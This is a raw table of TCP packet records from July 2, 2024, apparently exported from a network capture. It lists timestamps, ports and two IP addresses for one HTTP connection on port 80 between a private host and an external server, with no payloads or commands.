Jul 2, 2024 04:12:08.172625065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172626019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172638893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172642946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172662020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172662973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172679901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172693014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172696114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172710896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172718048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172734022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172741890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172749996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172760963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172765970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172782898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172796965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172796011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172806978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172812939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172832966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172841072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172853947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172856092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172869921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172884941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172884941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172910929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172915936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172921896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172936916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172945023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172949076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172970057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172974110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172985077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173001051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173012972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173012972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173036098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173038006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173053026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173067093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173075914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173091888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173094988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173105001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173127890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173127890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173142910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173152924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173156023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173173904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173178911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173190117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173204899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173211098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173228979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173258066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173705101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173717976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173736095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173751116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173768997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173769951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173784018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173799992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173805952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173815966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173830032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173839092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173876047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173897028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173930883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173945904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173952103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.173962116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.173993111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.174021959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.174029112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.174073935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.174077988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.174093008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.174108028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.174122095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.174141884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.260756016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260788918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260803938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260831118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260845900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260847092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.260862112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260875940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260888100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.260894060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260901928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.260905981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260924101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260926962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.260938883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260951996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.260957956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.260988951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.260993958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261004925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261023045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261034966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261035919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261056900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261064053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261074066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261079073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261090994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261097908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261106014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261117935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261121988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261132002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261137962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261153936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261156082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261187077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261187077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261204004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261218071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261223078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261231899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261245966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261255980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261265993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261286020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261288881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261302948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261305094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261321068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261333942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261337042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261352062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261358976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261365891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261384010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261394978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261419058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261425972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261430979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261449099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261455059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261466026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261487961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261490107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261502981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261516094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261521101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261532068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261539936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261547089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261573076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261574984 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261586905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261596918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261606932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261621952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261626005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261635065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261661053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261662006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261676073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261677027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261693954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261708021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261708021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261723042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261723995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261738062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261743069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261754036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261776924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261787891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261802912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261821985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261822939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261837959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261847973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261869907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261885881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261892080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261903048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261909008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261920929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261931896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261943102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261945963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261961937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.261965990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261991024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.261993885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262001038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262003899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262018919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262029886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262029886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262052059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262058973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262068987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262078047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262089968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262105942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262113094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262120008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262150049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262156963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262170076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262185097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262198925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262200117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262217045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262227058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262227058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262252092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262259960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262275934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262291908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262300968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262307882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262321949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262326956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262337923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262356043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262701035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262716055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262732029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262742043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262742043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262763977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262768030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262777090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262780905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262797117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262805939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262808084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262818098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262828112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262839079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262851000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262856007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262871981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262901068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262914896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262927055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262945890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262957096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262968063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.262969017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262969017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262978077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.262998104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.263008118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.263766050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263777971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263791084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263839960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263849020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263858080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263868093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263868093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.263878107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263890028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.263890028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.263896942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263920069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.263942003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.263946056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263957024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263977051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.263997078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264003038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264003038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264009953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264014006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264029980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264033079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264049053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264060974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264734983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264771938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264811993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264822960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264841080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264849901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264851093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264867067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264873981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264874935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264889002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264900923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.264902115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264902115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.264945030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.356918097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.356945038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.356976986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.356991053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357000113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357012987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357026100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357037067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357117891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357117891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357117891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357117891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357135057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357156992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357172012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357187033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357198000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357198000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357213020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357198000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357198000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357228994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357234955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357234955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357234955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357251883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357264042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357281923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357301950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357316017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357326984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357337952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357336998 CEST	49704	80	192.168.2.5	85.28.47.4
